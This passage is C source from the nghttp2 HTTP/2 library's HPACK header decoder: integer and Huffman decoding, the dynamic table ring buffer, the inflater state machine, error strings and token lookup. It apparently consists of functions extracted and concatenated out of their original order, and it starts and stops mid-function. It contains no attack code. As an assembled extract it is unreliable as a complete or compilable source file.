= size; (*rcbuf_ptr)->ref = 1; return 0; } /* * Decodes the integer from the range [in, last). The result is * assigned to |inflater->left|. If the |inflater->left| is 0, then * it performs variable integer decoding from scratch. Otherwise, it * uses the |inflater->left| as the initial value and continues to * decode assuming that [in, last) begins with intermediary sequence. * * This function returns the number of bytes read if it succeeds, or * one of the following negative error codes: * * NGHTTP2_ERR_HEADER_COMP * Integer decoding failed */ static ssize_t hd_inflate_read_len(nghttp2_hd_inflater *inflater, int *rfin, const uint8_t *in, const uint8_t *last, size_t prefix, size_t maxlen) { ssize_t rv; uint32_t out; *rfin = 0; rv = decode_length(&out, &inflater->shift, rfin, (uint32_t)inflater->left, inflater->shift, in, last, prefix); if (rv == -1) { DEBUGF("inflatehd: integer decoding failed\n"); return NGHTTP2_ERR_HEADER_COMP; } if (out > maxlen) { DEBUGF("inflatehd: integer exceeded the maximum value %zu\n", maxlen); return NGHTTP2_ERR_HEADER_COMP; } inflater->left = out; DEBUGF("inflatehd: decoded integer is %u\n", out); return rv; } static void hd_ringbuf_pop_back(nghttp2_hd_ringbuf *ringbuf) { assert(ringbuf->len > 0); --ringbuf->len; } void nghttp2_hd_entry_free(nghttp2_hd_entry *ent) { nghttp2_rcbuf_decref(ent->nv.value); nghttp2_rcbuf_decref(ent->nv.name); } void *nghttp2_mem_malloc(nghttp2_mem *mem, size_t size) { return mem->malloc(size, mem->mem_user_data); } void nghttp2_mem_free(nghttp2_mem *mem, void *ptr) { mem->free(ptr, mem->mem_user_data); } void nghttp2_mem_free2(nghttp2_free free_func, void *ptr, void *mem_user_data) { free_func(ptr, mem_user_data); } void *nghttp2_mem_calloc(nghttp2_mem *mem, size_t nmemb, size_t size) { return mem->calloc(nmemb, size, mem->mem_user_data); } void *nghttp2_mem_realloc(nghttp2_mem *mem, void *ptr, size_t size) { return mem->realloc(ptr, size, mem->mem_user_data); } static int add_hd_table_incremental(nghttp2_hd_context *context, nghttp2_hd_nv *nv, nghttp2_hd_map *map, uint32_t hash) { int rv; nghttp2_hd_entry *new_ent; size_t room; nghttp2_mem *mem; mem = context->mem; room = entry_room(nv->name->len, nv->value->len); while (context->hd_table_bufsize + room > context->hd_table_bufsize_max && context->hd_table.len > 0) { size_t idx = context->hd_table.len - 1; nghttp2_hd_entry *ent = hd_ringbuf_get(&context->hd_table, idx); context->hd_table_bufsize -= entry_room(ent->nv.name->len, ent->nv.value->len); DEBUGF("hpack: remove item from header table: %s: %s\n", (char *)ent->nv.name->base, (char *)ent->nv.value->base); hd_ringbuf_pop_back(&context->hd_table); if (map) { hd_map_remove(map, ent); } nghttp2_hd_entry_free(ent); nghttp2_mem_free(mem, ent); } if (room > context->hd_table_bufsize_max) { /* The entry taking more than NGHTTP2_HD_MAX_BUFFER_SIZE is immediately evicted. So we don't allocate memory for it. */ return 0; } new_ent = nghttp2_mem_malloc(mem, sizeof(nghttp2_hd_entry)); if (new_ent == NULL) { return NGHTTP2_ERR_NOMEM; } nghttp2_hd_entry_init(new_ent, nv); rv = hd_ringbuf_push_front(&context->hd_table, new_ent, mem); if (rv != 0) { nghttp2_hd_entry_free(new_ent); nghttp2_mem_free(mem, new_ent); return rv; } new_ent->seq = context->next_seq++; new_ent->hash = hash; if (map) { hd_map_insert(map, new_ent); } context->hd_table_bufsize += room; return 0; } /* * Reads |inflater->left| bytes from the range [in, last) and copies * them into the |buffer|. * * This function returns the number of bytes read if it succeeds, or * one of the following negative error codes: * * NGHTTP2_ERR_NOMEM * Out of memory * NGHTTP2_ERR_HEADER_COMP * Header decompression failed */ static ssize_t hd_inflate_read(nghttp2_hd_inflater *inflater, nghttp2_buf *buf, const uint8_t *in, const uint8_t *last) { size_t len = nghttp2_min((size_t)(last - in), inflater->left); buf->last = nghttp2_cpymem(buf->last, in, len); inflater->left -= len; return (ssize_t)len; } ssize_t nghttp2_hd_inflate_hd2(nghttp2_hd_inflater *inflater, nghttp2_nv *nv_out, int *inflate_flags, const uint8_t *in, size_t inlen, int in_final) { ssize_t rv; nghttp2_hd_nv hd_nv; rv = nghttp2_hd_inflate_hd_nv(inflater, &hd_nv, inflate_flags, in, inlen, in_final); if (rv < 0) { return rv; } if (*inflate_flags & NGHTTP2_HD_INFLATE_EMIT) { nv_out->name = hd_nv.name->base; nv_out->namelen = hd_nv.name->len; nv_out->value = hd_nv.value->base; nv_out->valuelen = hd_nv.value->len; nv_out->flags = hd_nv.flags; } return rv; } ssize_t nghttp2_hd_inflate_hd(nghttp2_hd_inflater *inflater, nghttp2_nv *nv_out, int *inflate_flags, uint8_t *in, size_t inlen, int in_final) { return nghttp2_hd_inflate_hd2(inflater, nv_out, inflate_flags, in, inlen, in_final); } static size_t get_max_index(nghttp2_hd_context *context) { return context->hd_table.len + NGHTTP2_STATIC_TABLE_LENGTH; } /* * Frees |rcbuf| itself, regardless of its reference cout. */ void nghttp2_rcbuf_del(nghttp2_rcbuf *rcbuf) { nghttp2_mem_free2(rcbuf->free, rcbuf, rcbuf->mem_user_data); } void nghttp2_rcbuf_decref(nghttp2_rcbuf *rcbuf) { if (rcbuf == NULL || rcbuf->ref == -1) { return; } assert(rcbuf->ref > 0); if (--rcbuf->ref == 0) { nghttp2_rcbuf_del(rcbuf); } } static void hd_inflate_keep_free(nghttp2_hd_inflater *inflater) { nghttp2_rcbuf_decref(inflater->nv_value_keep); nghttp2_rcbuf_decref(inflater->nv_name_keep); inflater->nv_value_keep = NULL; inflater->nv_name_keep = NULL; } int nghttp2_hd_inflate_end_headers(nghttp2_hd_inflater *inflater) { hd_inflate_keep_free(inflater); inflater->state = NGHTTP2_HD_STATE_INFLATE_START; return 0; } void nghttp2_hd_huff_decode_context_init(nghttp2_hd_huff_decode_context *ctx) { ctx->state = 0; ctx->accept = 1; } #define nghttp2_buf_len(BUF) ((size_t)((BUF)->last - (BUF)->pos)) #define nghttp2_buf_avail(BUF) ((size_t)((BUF)->end - (BUF)->last)) #define nghttp2_buf_mark_avail(BUF) ((size_t)((BUF)->mark - (BUF)->last)) #define nghttp2_buf_cap(BUF) ((size_t)((BUF)->end - (BUF)->begin)) #define nghttp2_buf_pos_offset(BUF) ((size_t)((BUF)->pos - (BUF)->begin)) #define nghttp2_buf_last_offset(BUF) ((size_t)((BUF)->last - (BUF)->begin)) /* * Reads |inflater->left| bytes from the range [in, last) and performs * huffman decoding against them and pushes the result into the * |buffer|. * * This function returns the number of bytes read if it succeeds, or * one of the following negative error codes: * * NGHTTP2_ERR_NOMEM * Out of memory * NGHTTP2_ERR_HEADER_COMP * Huffman decoding failed */ static ssize_t hd_inflate_read_huff(nghttp2_hd_inflater *inflater, nghttp2_buf *buf, const uint8_t *in, const uint8_t *last) { ssize_t readlen; int fin = 0; if ((size_t)(last - in) >= inflater->left) { last = in + inflater->left; fin = 1; } readlen = nghttp2_hd_huff_decode(&inflater->huff_decode_ctx, buf, in, (size_t)(last - in), fin); if (readlen < 0) { DEBUGF("inflatehd: huffman decoding failed\n"); return readlen; } inflater->left -= (size_t)readlen; return readlen; } static void hd_inflate_set_huffman_encoded(nghttp2_hd_inflater *inflater, const uint8_t *in) { inflater->huffman_encoded = (*in & (1 << 7)) != 0; } static nghttp2_hd_entry *hd_ringbuf_get(nghttp2_hd_ringbuf *ringbuf, size_t idx) { assert(idx < ringbuf->len); return ringbuf->buffer[(ringbuf->first + idx) & ringbuf->mask]; } nghttp2_hd_nv nghttp2_hd_table_get(nghttp2_hd_context *context, size_t idx) { assert(INDEX_RANGE_VALID(context, idx)); if (idx >= NGHTTP2_STATIC_TABLE_LENGTH) { return hd_ringbuf_get(&context->hd_table, idx - NGHTTP2_STATIC_TABLE_LENGTH) ->nv; } else { nghttp2_hd_static_entry *ent = &static_table[idx]; nghttp2_hd_nv nv = {&ent->name, &ent->value, ent->token, NGHTTP2_NV_FLAG_NONE}; return nv; } } /* * Finalize literal header representation - indexed name- * reception. If header is emitted, |*nv_out| is filled with that * value and 0 is returned. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * NGHTTP2_ERR_NOMEM * Out of memory */ static int hd_inflate_commit_indname(nghttp2_hd_inflater *inflater, nghttp2_hd_nv *nv_out) { nghttp2_hd_nv nv; int rv; nv = nghttp2_hd_table_get(&inflater->ctx, inflater->index); if (inflater->no_index) { nv.flags = NGHTTP2_NV_FLAG_NO_INDEX; } else { nv.flags = NGHTTP2_NV_FLAG_NONE; } nghttp2_rcbuf_incref(nv.name); nv.value = inflater->valuercbuf; if (inflater->index_required) { rv = add_hd_table_incremental(&inflater->ctx, &nv, NULL, 0); if (rv != 0) { nghttp2_rcbuf_decref(nv.name); return NGHTTP2_ERR_NOMEM; } } emit_header(nv_out, &nv); inflater->nv_name_keep = nv.name; inflater->nv_value_keep = nv.value; inflater->valuercbuf = NULL; return 0; } /* * Finalize literal header representation - new name- reception. If * header is emitted, |*nv_out| is filled with that value and 0 is * returned. * * This function returns 0 if it succeeds, or one of the following * negative error codes: * * NGHTTP2_ERR_NOMEM * Out of memory */ static int hd_inflate_commit_newname(nghttp2_hd_inflater *inflater, nghttp2_hd_nv *nv_out) { nghttp2_hd_nv nv; int rv; if (inflater->no_index) { nv.flags = NGHTTP2_NV_FLAG_NO_INDEX; } else { nv.flags = NGHTTP2_NV_FLAG_NONE; } nv.name = inflater->namercbuf; nv.value = inflater->valuercbuf; nv.token = lookup_token(inflater->namercbuf->base, inflater->namercbuf->len); if (inflater->index_required) { rv = add_hd_table_incremental(&inflater->ctx, &nv, NULL, 0); if (rv != 0) { return rv; } } emit_header(nv_out, &nv); inflater->nv_name_keep = nv.name; inflater->nv_value_keep = nv.value; inflater->namercbuf = NULL; inflater->valuercbuf = NULL; return 0; } ssize_t nghttp2_hd_inflate_hd_nv(nghttp2_hd_inflater *inflater, nghttp2_hd_nv *nv_out, int *inflate_flags, const uint8_t *in, size_t inlen, int in_final) { ssize_t rv = 0; const uint8_t *first = in; const uint8_t *last = in + inlen; int rfin = 0; int busy = 0; nghttp2_mem *mem; mem = inflater->ctx.mem; if (inflater->ctx.bad) { return NGHTTP2_ERR_HEADER_COMP; } DEBUGF("inflatehd: start state=%d\n", inflater->state); hd_inflate_keep_free(inflater); *inflate_flags = NGHTTP2_HD_INFLATE_NONE; for (; in != last || busy;) { busy = 0; switch (inflater->state) { case NGHTTP2_HD_STATE_EXPECT_TABLE_SIZE: if ((*in & 0xe0u) != 0x20u) { DEBUGF("inflatehd: header table size change was expected, but saw " "0x%02x as first byte", *in); rv = NGHTTP2_ERR_HEADER_COMP; goto fail; } /* fall through */ case NGHTTP2_HD_STATE_INFLATE_START: case NGHTTP2_HD_STATE_OPCODE: if ((*in & 0xe0u) == 0x20u) { DEBUGF("inflatehd: header table size change\n"); if (inflater->state == NGHTTP2_HD_STATE_OPCODE) { DEBUGF("inflatehd: header table size change must appear at the head " "of header block\n"); rv = NGHTTP2_ERR_HEADER_COMP; goto fail; } inflater->opcode = NGHTTP2_HD_OPCODE_INDEXED; inflater->state = NGHTTP2_HD_STATE_READ_TABLE_SIZE; } else if (*in & 0x80u) { DEBUGF("inflatehd: indexed repr\n"); inflater->opcode = NGHTTP2_HD_OPCODE_INDEXED; inflater->state = NGHTTP2_HD_STATE_READ_INDEX; } else { if (*in == 0x40u || *in == 0 || *in == 0x10u) { DEBUGF("inflatehd: literal header repr - new name\n"); inflater->opcode = NGHTTP2_HD_OPCODE_NEWNAME; inflater->state = NGHTTP2_HD_STATE_NEWNAME_CHECK_NAMELEN; } else { DEBUGF("inflatehd: literal header repr - indexed name\n"); inflater->opcode = NGHTTP2_HD_OPCODE_INDNAME; inflater->state = NGHTTP2_HD_STATE_READ_INDEX; } inflater->index_required = (*in & 0x40) != 0; inflater->no_index = (*in & 0xf0u) == 0x10u; DEBUGF("inflatehd: indexing required=%d, no_index=%d\n", inflater->index_required, inflater->no_index); if (inflater->opcode == NGHTTP2_HD_OPCODE_NEWNAME) { ++in; } } inflater->left = 0; inflater->shift = 0; break; case NGHTTP2_HD_STATE_READ_TABLE_SIZE: rfin = 0; rv = hd_inflate_read_len( inflater, &rfin, in, last, 5, nghttp2_min(inflater->min_hd_table_bufsize_max, inflater->settings_hd_table_bufsize_max)); if (rv < 0) { goto fail; } in += rv; if (!rfin) { goto almost_ok; } DEBUGF("inflatehd: table_size=%zu\n", inflater->left); inflater->min_hd_table_bufsize_max = UINT32_MAX; inflater->ctx.hd_table_bufsize_max = inflater->left; hd_context_shrink_table_size(&inflater->ctx, NULL); inflater->state = NGHTTP2_HD_STATE_INFLATE_START; break; case NGHTTP2_HD_STATE_READ_INDEX: { size_t prefixlen; if (inflater->opcode == NGHTTP2_HD_OPCODE_INDEXED) { prefixlen = 7; } else if (inflater->index_required) { prefixlen = 6; } else { prefixlen = 4; } rfin = 0; rv = hd_inflate_read_len(inflater, &rfin, in, last, prefixlen, get_max_index(&inflater->ctx)); if (rv < 0) { goto fail; } in += rv; if (!rfin) { goto almost_ok; } if (inflater->left == 0) { rv = NGHTTP2_ERR_HEADER_COMP; goto fail; } DEBUGF("inflatehd: index=%zu\n", inflater->left); if (inflater->opcode == NGHTTP2_HD_OPCODE_INDEXED) { inflater->index = inflater->left; --inflater->index; hd_inflate_commit_indexed(inflater, nv_out); inflater->state = NGHTTP2_HD_STATE_OPCODE; *inflate_flags |= NGHTTP2_HD_INFLATE_EMIT; return (ssize_t)(in - first); } else { inflater->index = inflater->left; --inflater->index; inflater->state = NGHTTP2_HD_STATE_CHECK_VALUELEN; } break; } case NGHTTP2_HD_STATE_NEWNAME_CHECK_NAMELEN: hd_inflate_set_huffman_encoded(inflater, in); inflater->state = NGHTTP2_HD_STATE_NEWNAME_READ_NAMELEN; inflater->left = 0; inflater->shift = 0; DEBUGF("inflatehd: huffman encoded=%d\n", inflater->huffman_encoded != 0); /* Fall through */ case NGHTTP2_HD_STATE_NEWNAME_READ_NAMELEN: rfin = 0; rv = hd_inflate_read_len(inflater, &rfin, in, last, 7, NGHTTP2_HD_MAX_NV); if (rv < 0) { goto fail; } in += rv; if (!rfin) { DEBUGF("inflatehd: integer not fully decoded. current=%zu\n", inflater->left); goto almost_ok; } if (inflater->huffman_encoded) { nghttp2_hd_huff_decode_context_init(&inflater->huff_decode_ctx); inflater->state = NGHTTP2_HD_STATE_NEWNAME_READ_NAMEHUFF; rv = nghttp2_rcbuf_new(&inflater->namercbuf, inflater->left * 2 + 1, mem); } else { inflater->state = NGHTTP2_HD_STATE_NEWNAME_READ_NAME; rv = nghttp2_rcbuf_new(&inflater->namercbuf, inflater->left + 1, mem); } if (rv != 0) { goto fail; } nghttp2_buf_wrap_init(&inflater->namebuf, inflater->namercbuf->base, inflater->namercbuf->len); break; case NGHTTP2_HD_STATE_NEWNAME_READ_NAMEHUFF: rv = hd_inflate_read_huff(inflater, &inflater->namebuf, in, last); if (rv < 0) { goto fail; } in += rv; DEBUGF("inflatehd: %zd bytes read\n", rv); if (inflater->left) { DEBUGF("inflatehd: still %zu bytes to go\n", inflater->left); goto almost_ok; } *inflater->namebuf.last = '\0'; inflater->namercbuf->len = nghttp2_buf_len(&inflater->namebuf); inflater->state = NGHTTP2_HD_STATE_CHECK_VALUELEN; break; case NGHTTP2_HD_STATE_NEWNAME_READ_NAME: rv = hd_inflate_read(inflater, &inflater->namebuf, in, last); if (rv < 0) { goto fail; } in += rv; DEBUGF("inflatehd: %zd bytes read\n", rv); if (inflater->left) { DEBUGF("inflatehd: still %zu bytes to go\n", inflater->left); goto almost_ok; } *inflater->namebuf.last = '\0'; inflater->namercbuf->len = nghttp2_buf_len(&inflater->namebuf); inflater->state = NGHTTP2_HD_STATE_CHECK_VALUELEN; break; case NGHTTP2_HD_STATE_CHECK_VALUELEN: hd_inflate_set_huffman_encoded(inflater, in); inflater->state = NGHTTP2_HD_STATE_READ_VALUELEN; inflater->left = 0; inflater->shift = 0; DEBUGF("inflatehd: huffman encoded=%d\n", inflater->huffman_encoded != 0); /* Fall through */ case NGHTTP2_HD_STATE_READ_VALUELEN: rfin = 0; rv = hd_inflate_read_len(inflater, &rfin, in, last, 7, NGHTTP2_HD_MAX_NV); if (rv < 0) { goto fail; } in += rv; if (!rfin) { goto almost_ok; } DEBUGF("inflatehd: valuelen=%zu\n", inflater->left); if (inflater->huffman_encoded) { nghttp2_hd_huff_decode_context_init(&inflater->huff_decode_ctx); inflater->state = NGHTTP2_HD_STATE_READ_VALUEHUFF; rv = nghttp2_rcbuf_new(&inflater->valuercbuf, inflater->left * 2 + 1, mem); } else { inflater->state = NGHTTP2_HD_STATE_READ_VALUE; rv = nghttp2_rcbuf_new(&inflater->valuercbuf, inflater->left + 1, mem); } if (rv != 0) { goto fail; } nghttp2_buf_wrap_init(&inflater->valuebuf, inflater->valuercbuf->base, inflater->valuercbuf->len); busy = 1; break; case NGHTTP2_HD_STATE_READ_VALUEHUFF: rv = hd_inflate_read_huff(inflater, &inflater->valuebuf, in, last); if (rv < 0) { goto fail; } in += rv; DEBUGF("inflatehd: %zd bytes read\n", rv); if (inflater->left) { DEBUGF("inflatehd: still %zu bytes to go\n", inflater->left); goto almost_ok; } *inflater->valuebuf.last = '\0'; inflater->valuercbuf->len = nghttp2_buf_len(&inflater->valuebuf); if (inflater->opcode == NGHTTP2_HD_OPCODE_NEWNAME) { rv = hd_inflate_commit_newname(inflater, nv_out); } else { rv = hd_inflate_commit_indname(inflater, nv_out); } if (rv != 0) { goto fail; } inflater->state = NGHTTP2_HD_STATE_OPCODE; *inflate_flags |= NGHTTP2_HD_INFLATE_EMIT; return (ssize_t)(in - first); case NGHTTP2_HD_STATE_READ_VALUE: rv = hd_inflate_read(inflater, &inflater->valuebuf, in, last); if (rv < 0) { DEBUGF("inflatehd: value read failure %zd: %s\n", rv, nghttp2_strerror((int)rv)); goto fail; } in += rv; DEBUGF("inflatehd: %zd bytes read\n", rv); if (inflater->left) { DEBUGF("inflatehd: still %zu bytes to go\n", inflater->left); goto almost_ok; } *inflater->valuebuf.last = '\0'; inflater->valuercbuf->len = nghttp2_buf_len(&inflater->valuebuf); if (inflater->opcode == NGHTTP2_HD_OPCODE_NEWNAME) { rv = hd_inflate_commit_newname(inflater, nv_out); } else { rv = hd_inflate_commit_indname(inflater, nv_out); } if (rv != 0) { goto fail; } inflater->state = NGHTTP2_HD_STATE_OPCODE; *inflate_flags |= NGHTTP2_HD_INFLATE_EMIT; return (ssize_t)(in - first); } } assert(in == last); DEBUGF("inflatehd: all input bytes were processed\n"); if (in_final) { DEBUGF("inflatehd: in_final set\n"); if (inflater->state != NGHTTP2_HD_STATE_OPCODE && inflater->state != NGHTTP2_HD_STATE_INFLATE_START) { DEBUGF("inflatehd: unacceptable state=%d\n", inflater->state); rv = NGHTTP2_ERR_HEADER_COMP; goto fail; } *inflate_flags |= NGHTTP2_HD_INFLATE_FINAL; } return (ssize_t)(in - first); almost_ok: if (in_final) { DEBUGF("inflatehd: input ended prematurely\n"); rv = NGHTTP2_ERR_HEADER_COMP; goto fail; } return (ssize_t)(in - first); fail: DEBUGF("inflatehd: error return %zd\n", rv); inflater->ctx.bad = 1; return rv; } const char *nghttp2_strerror(int error_code) { switch (error_code) { case 0: return "Success"; case NGHTTP2_ERR_INVALID_ARGUMENT: return "Invalid argument"; case NGHTTP2_ERR_BUFFER_ERROR: return "Out of buffer space"; case NGHTTP2_ERR_UNSUPPORTED_VERSION: return "Unsupported SPDY version"; case NGHTTP2_ERR_WOULDBLOCK: return "Operation would block"; case NGHTTP2_ERR_PROTO: return "Protocol error"; case NGHTTP2_ERR_INVALID_FRAME: return "Invalid frame octets"; case NGHTTP2_ERR_EOF: return "EOF"; case NGHTTP2_ERR_DEFERRED: return "Data transfer deferred"; case NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE: return "No more Stream ID available"; case NGHTTP2_ERR_STREAM_CLOSED: return "Stream was already closed or invalid"; case NGHTTP2_ERR_STREAM_CLOSING: return "Stream is closing"; case NGHTTP2_ERR_STREAM_SHUT_WR: return "The transmission is not allowed for this stream"; case NGHTTP2_ERR_INVALID_STREAM_ID: return "Stream ID is invalid"; case NGHTTP2_ERR_INVALID_STREAM_STATE: return "Invalid stream state"; case NGHTTP2_ERR_DEFERRED_DATA_EXIST: return "Another DATA frame has already been deferred"; case NGHTTP2_ERR_START_STREAM_NOT_ALLOWED: return "request HEADERS is not allowed"; case NGHTTP2_ERR_GOAWAY_ALREADY_SENT: return "GOAWAY has already been sent"; case NGHTTP2_ERR_INVALID_HEADER_BLOCK: return "Invalid header block"; case NGHTTP2_ERR_INVALID_STATE: return "Invalid state"; case NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE: return "The user callback function failed due to the temporal error"; case NGHTTP2_ERR_FRAME_SIZE_ERROR: return "The length of the frame is invalid"; case NGHTTP2_ERR_HEADER_COMP: return "Header compression/decompression error"; case NGHTTP2_ERR_FLOW_CONTROL: return "Flow control error"; case NGHTTP2_ERR_INSUFF_BUFSIZE: return "Insufficient buffer size given to function"; case NGHTTP2_ERR_PAUSE: return "Callback was paused by the application"; case NGHTTP2_ERR_TOO_MANY_INFLIGHT_SETTINGS: return "Too many inflight SETTINGS"; case NGHTTP2_ERR_PUSH_DISABLED: return "Server push is disabled by peer"; case NGHTTP2_ERR_DATA_EXIST: return "DATA or HEADERS frame has already been submitted for the stream"; case NGHTTP2_ERR_SESSION_CLOSING: return "The current session is closing"; case NGHTTP2_ERR_HTTP_HEADER: return "Invalid HTTP header field was received"; case NGHTTP2_ERR_HTTP_MESSAGING: return "Violation in HTTP messaging rule"; case NGHTTP2_ERR_REFUSED_STREAM: return "Stream was refused"; case NGHTTP2_ERR_INTERNAL: return "Internal error"; case NGHTTP2_ERR_CANCEL: return "Cancel"; case NGHTTP2_ERR_SETTINGS_EXPECTED: return "When a local endpoint expects to receive SETTINGS frame, it " "receives an other type of frame"; case NGHTTP2_ERR_NOMEM: return "Out of memory"; case NGHTTP2_ERR_CALLBACK_FAILURE: return "The user callback function failed"; case NGHTTP2_ERR_BAD_CLIENT_MAGIC: return "Received bad client magic byte string"; case NGHTTP2_ERR_FLOODED: return "Flooding was detected in this HTTP/2 session, and it must be " "closed"; default: return "Unknown error code"; } } /* * Finalize indexed header representation reception. The referenced * header is always emitted, and |*nv_out| is filled with that value. */ static void hd_inflate_commit_indexed(nghttp2_hd_inflater *inflater, nghttp2_hd_nv *nv_out) { nghttp2_hd_nv nv = nghttp2_hd_table_get(&inflater->ctx, inflater->index); emit_header(nv_out, &nv); } /* * Decodes |prefix| prefixed integer stored from |in|. The |last| * represents the 1 beyond the last of the valid contiguous memory * region from |in|. The decoded integer must be less than or equal * to UINT32_MAX. * * If the |initial| is nonzero, it is used as a initial value, this * function assumes the |in| starts with intermediate data. * * An entire integer is decoded successfully, decoded, the |*fin| is * set to nonzero. * * This function stores the decoded integer in |*res| if it succeed, * including partial decoding (in this case, number of shift to make * in the next call will be stored in |*shift_ptr|) and returns number * of bytes processed, or returns -1, indicating decoding error. */ static ssize_t decode_length(uint32_t *res, size_t *shift_ptr, int *fin, uint32_t initial, size_t shift, const uint8_t *in, const uint8_t *last, size_t prefix) { uint32_t k = (uint8_t)((1 << prefix) - 1); uint32_t n = initial; const uint8_t *start = in; *shift_ptr = 0; *fin = 0; if (n == 0) { if ((*in & k) != k) { *res = (*in) & k; *fin = 1; return 1; } n = k; if (++in == last) { *res = n; return (ssize_t)(in - start); } } for (; in != last; ++in, shift += 7) { uint32_t add = *in & 0x7f; if (shift >= 32) { DEBUGF("inflate: shift exponent overflow\n"); return -1; } if ((UINT32_MAX >> shift) < add) { DEBUGF("inflate: integer overflow on shift\n"); return -1; } add <<= shift; if (UINT32_MAX - add < n) { DEBUGF("inflate: integer overflow on addition\n"); return -1; } n += add; if ((*in & (1 << 7)) == 0) { break; } } *shift_ptr = shift; if (in == last) { *res = n; return (ssize_t)(in - start); } *res = n; *fin = 1; return (ssize_t)(in + 1 - start); } void nghttp2_rcbuf_incref(nghttp2_rcbuf *rcbuf) { if (rcbuf->ref == -1) { return; } ++rcbuf->ref; } void nghttp2_hd_entry_init(nghttp2_hd_entry *ent, nghttp2_hd_nv *nv) { ent->nv = *nv; ent->cnv.name = nv->name->base; ent->cnv.namelen = nv->name->len; ent->cnv.value = nv->value->base; ent->cnv.valuelen = nv->value->len; ent->cnv.flags = nv->flags; ent->next = NULL; ent->hash = 0; nghttp2_rcbuf_incref(ent->nv.name); nghttp2_rcbuf_incref(ent->nv.value); } static int hd_ringbuf_push_front(nghttp2_hd_ringbuf *ringbuf, nghttp2_hd_entry *ent, nghttp2_mem *mem) { int rv; rv = hd_ringbuf_reserve(ringbuf, ringbuf->len + 1, mem); if (rv != 0) { return rv; } ringbuf->buffer[--ringbuf->first & ringbuf->mask] = ent; ++ringbuf->len; return 0; } static void hd_map_remove(nghttp2_hd_map *map, nghttp2_hd_entry *ent) { nghttp2_hd_entry **dst; dst = &map->table[ent->hash & (HD_MAP_SIZE - 1)]; for (; *dst; dst = &(*dst)->next) { if (*dst != ent) { continue; } *dst = ent->next; ent->next = NULL; return; } } static int hd_ringbuf_reserve(nghttp2_hd_ringbuf *ringbuf, size_t bufsize, nghttp2_mem *mem) { size_t i; size_t size; nghttp2_hd_entry **buffer; if (ringbuf->mask + 1 >= bufsize) { return 0; } for (size = 1; size < bufsize; size <<= 1) ; buffer = nghttp2_mem_malloc(mem, sizeof(nghttp2_hd_entry *) * size); if (buffer == NULL) { return NGHTTP2_ERR_NOMEM; } for (i = 0; i < ringbuf->len; ++i) { buffer[i] = hd_ringbuf_get(ringbuf, i); } nghttp2_mem_free(mem, ringbuf->buffer); ringbuf->buffer = buffer; ringbuf->mask = size - 1; ringbuf->first = 0; return 0; } /* * This function was generated by genlibtokenlookup.py. Inspired by * h2o header lookup. https://github.com/h2o/h2o */ int32_t lookup_token(const uint8_t *name, size_t namelen) { switch (namelen) { case 2: switch (name[1]) { case 'e': if (memeq("t", name, 1)) { return NGHTTP2_TOKEN_TE; } break; } break; case 3: switch (name[2]) { case 'a': if (memeq("vi", name, 2)) { return NGHTTP2_TOKEN_VIA; } break; case 'e': if (memeq("ag", name, 2)) { return NGHTTP2_TOKEN_AGE; } break; } break; case 4: switch (name[3]) { case 'e': if (memeq("dat", name, 3)) { return NGHTTP2_TOKEN_DATE; } break; case 'g': if (memeq("eta", name, 3)) { return NGHTTP2_TOKEN_ETAG; } break; case 'k': if (memeq("lin", name, 3)) { return NGHTTP2_TOKEN_LINK; } break; case 'm': if (memeq("fro", name, 3)) { return NGHTTP2_TOKEN_FROM; } break; case 't': if (memeq("hos", name, 3)) { return NGHTTP2_TOKEN_HOST; } break; case 'y': if (memeq("var", name, 3)) { return NGHTTP2_TOKEN_VARY; } break; } break; case 5: switch (name[4]) { case 'e': if (memeq("rang", name, 4)) { return NGHTTP2_TOKEN_RANGE; } break; case 'h': if (memeq(":pat", name, 4)) { return NGHTTP2_TOKEN__PATH; } break; case 'w': if (memeq("allo", name, 4)) { return NGHTTP2_TOKEN_ALLOW; } break; } break; case 6: switch (name[5]) { case 'e': if (memeq("cooki", name, 5)) { return NGHTTP2_TOKEN_COOKIE; } break; case 'r': if (memeq("serve", name, 5)) { return NGHTTP2_TOKEN_SERVER; } break; case 't': if (memeq("accep", name, 5)) { return NGHTTP2_TOKEN_ACCEPT; } if (memeq("expec", name, 5)) { return NGHTTP2_TOKEN_EXPECT; } break; } break; case 7: switch (name[6]) { case 'd': if (memeq(":metho", name, 6)) { return NGHTTP2_TOKEN__METHOD; } break; case 'e': if (memeq(":schem", name, 6)) { return NGHTTP2_TOKEN__SCHEME; } if (memeq("upgrad", name, 6)) { return NGHTTP2_TOKEN_UPGRADE; } break; case 'h': if (memeq("refres", name, 6)) { return NGHTTP2_TOKEN_REFRESH; } break; case 'r': if (memeq("refere", name, 6)) { return NGHTTP2_TOKEN_REFERER; } break; case 's': if (memeq(":statu", name, 6)) { return NGHTTP2_TOKEN__STATUS; } if (memeq("expire", name, 6)) { return NGHTTP2_TOKEN_EXPIRES; } break; } break; case 8: switch (name[7]) { case 'e': if (memeq("if-rang", name, 7)) { return NGHTTP2_TOKEN_IF_RANGE; } break; case 'h': if (memeq("if-matc", name, 7)) { return NGHTTP2_TOKEN_IF_MATCH; } break; case 'n': if (memeq("locatio", name, 7)) { return NGHTTP2_TOKEN_LOCATION; } break; } break; case 10: switch (name[9]) { case 'e': if (memeq("keep-aliv", name, 9)) { return NGHTTP2_TOKEN_KEEP_ALIVE; } if (memeq("set-cooki", name, 9)) { return NGHTTP2_TOKEN_SET_COOKIE; } break; case 'n': if (memeq("connectio", name, 9)) { return NGHTTP2_TOKEN_CONNECTION; } break; case 't': if (memeq("user-agen", name, 9)) { return NGHTTP2_TOKEN_USER_AGENT; } break; case 'y': if (memeq(":authorit", name, 9)) { return NGHTTP2_TOKEN__AUTHORITY; } break; } break; case 11: switch (name[10]) { case 'r': if (memeq("retry-afte", name, 10)) { return NGHTTP2_TOKEN_RETRY_AFTER; } break; } break; case 12: switch (name[11]) { case 'e': if (memeq("content-typ", name, 11)) { return NGHTTP2_TOKEN_CONTENT_TYPE; } break; case 's': if (memeq("max-forward", name, 11)) { return NGHTTP2_TOKEN_MAX_FORWARDS; } break; } break; case 13: switch (name[12]) { case 'd': if (memeq("last-modifie", name, 12)) { return NGHTTP2_TOKEN_LAST_MODIFIED; } break; case 'e': if (memeq("content-rang", name, 12)) { return NGHTTP2_TOKEN_CONTENT_RANGE; } break; case 'h': if (memeq("if-none-matc", name, 12)) { return NGHTTP2_TOKEN_IF_NONE_MATCH; } break; case 'l': if (memeq("cache-contro", name, 12)) { return NGHTTP2_TOKEN_CACHE_CONTROL; } break; case 'n': if (memeq("authorizatio", name, 12)) { return 